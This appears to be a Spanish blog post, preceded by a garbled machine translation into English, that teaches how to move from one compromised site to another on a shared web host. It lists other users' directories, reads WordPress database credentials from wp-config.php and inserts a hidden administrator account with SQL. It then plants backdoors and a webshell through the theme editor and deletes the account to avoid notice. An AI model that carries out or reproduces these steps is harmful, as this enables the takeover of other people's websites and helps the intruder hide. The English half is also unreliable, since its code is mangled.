run:
ls-la / tmp
remove the user names, then ls-la / home / user / public_html
To find one where you have read permissions. To execute commands with the user must modify some file that the server executable (. Php,. Asp / cgi-bin /, etc), find one
where you can write:
-rw-r-r-1 user user 960 wp-config.php
wp-config.php file is where wordpress saves the MySQL password.
/ / ** MySQL settings ** / /
define ( 'db_name', 'usuario_db') / / The name of the database
define ( 'db_user', 'usuario_usuario'); / / Your MySQL username
define ( 'DB_PASSWORD', 'usuario_clave') / / ... and password
define ( 'DB_HOST', 'localhost'); / / 99% chance you will not need to change this value
define ( 'DB_CHARSET', 'utf8');
define ( 'DB_COLLATE' ");
/ / You can have multiple installations in one database if you give each a unique prefix
$ table_prefix = 'wp_' / / Only numbers, letters, and underscores please!
/ / Change this to Localize WordPress. A corresponding MO file for the
/ / Chosen language must be installed to wp-content/languages.
/ / For example, to install de.mo wp-content/languages WPLANG and set to 'on'
/ / To enable German language support.
define ( 'WPLANG' ");
define ( 'ABSPATH', dirname (__FILE__ ).'/');
require_once (ABSPATH. 'wp-settings.php');
>
In most cases you can only connect to MySQL from localhost, so we use the c99shell v. 1.0 pre-release build # 13 we have already upload to the server (with another user). Select the table wp_users after [Insert] to add a new entry Reller and copying from another user that was already all but name, password and ID:

In SQL:
INSERT INTO `wp_users` ( `ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('2 ',' wordpress', MD5 ( 'pass'),' wordpress', 'a @ aa', 'http://','2006-02-01 22:13:12 ','0', ' wordpress');
ID in the first place that this free, user_login, display_name and user_nicename put the user name (at least to draw attention is better). In user_pass is the key in md5.
With that we already have a user on the blog, but without privileges. Must be admin to edit the table wp_usermeta:
umeta_id is the first available. user_id is your user ID (the same as in the image above). In wp_capabilites will meta_key, indicating that setting the permissions. In meta_value will: 1: (s: 13: "administrator" b: 1;), which are administrator permissions.
In SQL:
INSERT INTO `wp_usermeta` ( `umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES ('9 ','2', 'wp_capabilities',' a: 1: (s: 13: \ "administrator \ "b: 1;) ');
Now that we are with the user of this site, you can edit more file (in many cases there is write permissions to the owner thereof) with the editor of themes (Appearance-> editor). We can write all files to the index. We place a backdoor, and climbed a webshell the backdoor Unsubscribe
Delete user wordpress not to draw attention and put some backdoors in case we lost the shell:
DELETE FROM `wp_users` WHERE `ID` ='2 ';
DELETE FROM `wp_usermeta` WHERE `user_id` ='2 ';
..............................................................
Al tener una webshell en un servidor y este servidor tiene un usuario distinto para cada web y usa /home/user/public_html/ para mostrar las páginas. Y uno desea tener una shell, pero con el usuario de otra web ,se procede de esta manera
ejecutar:
ls -la /tmp
sacar los nombres de usuarios , luego ls -la /home/usuario/public_html
Hasta encontrar uno donde tenga permisos de lectura. Para ejecutar comandos con su usuario hay que modificar algun archivo que el servidor ejecute (.php, .asp, /cgi-bin/, etc),
buscar alguno donde podemos escribir:
-rw-r-r-1 usuario usuario 960 wp-config.php
wp-config.php es el archivo donde wordpress guarda la clave de MySQL.
/ / ** ** Configuración de MySQL / /
define ( 'db_name', 'usuario_db'); / / El nombre de la base de datos
define ( 'DB_USER', 'usuario_usuario'); / / Su nombre de usuario MySQL
define ( 'DB_PASSWORD', 'usuario_clave'); / / ... y contraseña
define ( 'DB_HOST', 'localhost'); / / 99% de probabilidad no será necesario cambiar este valor
define ( 'DB_CHARSET', 'utf8');
define ( 'DB_COLLATE', ");
/ / Puede tener varias instalaciones en una base de datos si se otorgará a cada uno un único prefijo
$ table_prefix = 'wp_ »; / / Sólo números, letras y guiones bajos, por favor!
/ / Cambiar a localizar WordPress. Un archivo correspondiente a la MO
/ / Idioma elegido debe estar instalado para wp-content/languages.
/ / Por ejemplo, para instalar de.mo wp-content/languages y establecer WPLANG a 'de'
/ / Para que el idioma alemán apoyo.
define ( 'WPLANG', ");

En SQL:
INSERT INTO `wp_users` ( `ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name` ) VALUES ( ‘2′, ‘wordpress’, MD5 (’pass’), ‘wordpress’, ‘a@a.a’, ‘http://’, ‘2006-02-01 22:13:12′, ”, ‘0′, ‘wordpress’ );
En ID colocar el primero que este libre, en user_login, user_nicename y display_name colocamos el nombre del usuario (cuanto menos llame la atención es mejor). En user_pass va la clave en md5.
Con eso ya tenemos un usuario en el blog, pero sin privilegios. Para ser admin hay que editar la tabla wp_usermeta:
umeta_id es el primero disponible. user_id es el ID de tu usuario (el mismo que en la imágen anterior). En meta_key va wp_capabilites, que indica que establecer los permisos. En meta_value va a:1:{s:13:”administrator”;b:1;}, que son permisos de administrador.
En SQL:
INSERT INTO `wp_usermeta` ( `umeta_id`, `user_id`, `meta_key`, `meta_value` ) VALUES ( ‘9′, ‘2′, ‘wp_capabilities’, ‘a:1:{s:13:\”administrator\”;b:1;}’ );
Ahora que estamos con el usuario de esta web, puedemos editar mas archivos (en muchos casos hay permisos de escritura para el dueño de estos) con el editor de themes (Appearance->editor). Podemos escribir en todos los archivos, hasta el index. Colocamos una backdoor , subimos una webshell y borrar la backdoor
Borrar el usuario de wordpress para que no llame la atención y colocar algunas backdoors por si nos borran la shell:
DELETE FROM `wp_users` WHERE `ID` = ‘2′;
DELETE FROM `wp_usermeta` WHERE `user_id` = ‘2′;

No hay comentarios:
Publicar un comentario